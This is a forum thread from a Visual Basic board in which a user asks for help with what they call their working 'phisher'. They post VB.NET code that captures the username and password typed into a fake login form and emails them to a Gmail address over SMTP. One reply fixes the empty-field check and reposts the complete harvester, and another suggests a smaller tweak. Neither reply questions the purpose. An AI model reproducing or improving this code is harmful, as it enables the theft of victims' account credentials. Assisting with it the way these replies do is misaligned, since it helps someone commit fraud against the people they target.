It appears you have not yet registered with DEVPPL. To register please click here... (it's fast, easy and free!)

Forum

Log In Sponsors
Board index Programming Visual Basic Forum

[VB]help me on my project, I have problem

Moderator: dafunkymunky

[VB]help me on my project, I have problem

Postby VBnoobee on Sun Apr 24, 2011 2:28 pm

Hi guys, Im just new in the world of visual basic programming. I would like get helped. Pls bare with my english, but ill try my best to basically explain my main problem.

Here's the scenario,

I have made my own working phisher which info's are to be sent in my emails.
but I want to be the scenario to be these:

I want to know the script which will give the user an error if they
didnt put any username or password in the field but if they put a username
or password whether's if its correct or not, the script will continue. I hope you get my point, sorry for my english.

here's is the script im using:
If TextBox1.Text = "" Then

MsgBox("Input Username", MsgBoxStyle.Critical, "Access Violation")
End If
If TextBox2.Text = "" Then
Me.Close()
MsgBox("Input Password", MsgBoxStyle.Critical, "Access Violation")
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("asd123321@gmail.com", "123123a")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("iasd123321@gmail.com")
mail.To.Add("asd123321@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
Timer1.Start()
MsgBox("Connecting", MsgBoxStyle.Critical, "hi")


this is my working script but my problem is, the script continues to sent
the info to my email whether the USERNAME and PASSWORD field is empty,

I want to do something that can show an error or something if they didnt fill
the USERNAME and PASSWORD box but if they fill it, the script will continue until it reach the final code.

please help me :(
VBnoobee
 
Posts: 1
Joined: Sun Apr 24, 2011 2:25 pm

Re: [VB]help me on my project, I have problem

Postby Caligula on Wed Apr 27, 2011 8:42 pm

Try this:

If TextBox1.Text = "" Or TextBox2.Text = "" Then
MsgBox("Input Username and Password", MsgBoxStyle.Critical, "Access Violation")
else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("asd123321@gmail.com", "123123a")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("iasd123321@gmail.com")
mail.To.Add("asd123321@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
Timer1.Start()
MsgBox("Connecting", MsgBoxStyle.Critical, "hi")
end if
Caligula
 
Posts: 15
Joined: Fri Apr 22, 2011 8:38 pm

Re: [VB]help me on my project, I have problem

Postby sanjon on Thu Apr 28, 2011 2:15 pm

You shouldn't use Me.Close(). That would close the whole app and get annoying for the user. Instead, you could try "Exit Sub". This just stops executing the rest of the code in the Sub.
sanjon
 
Posts: 40
Joined: Sun Dec 05, 2010 6:20 pm


Who is online

Users browsing this forum: No registered users and 1 guest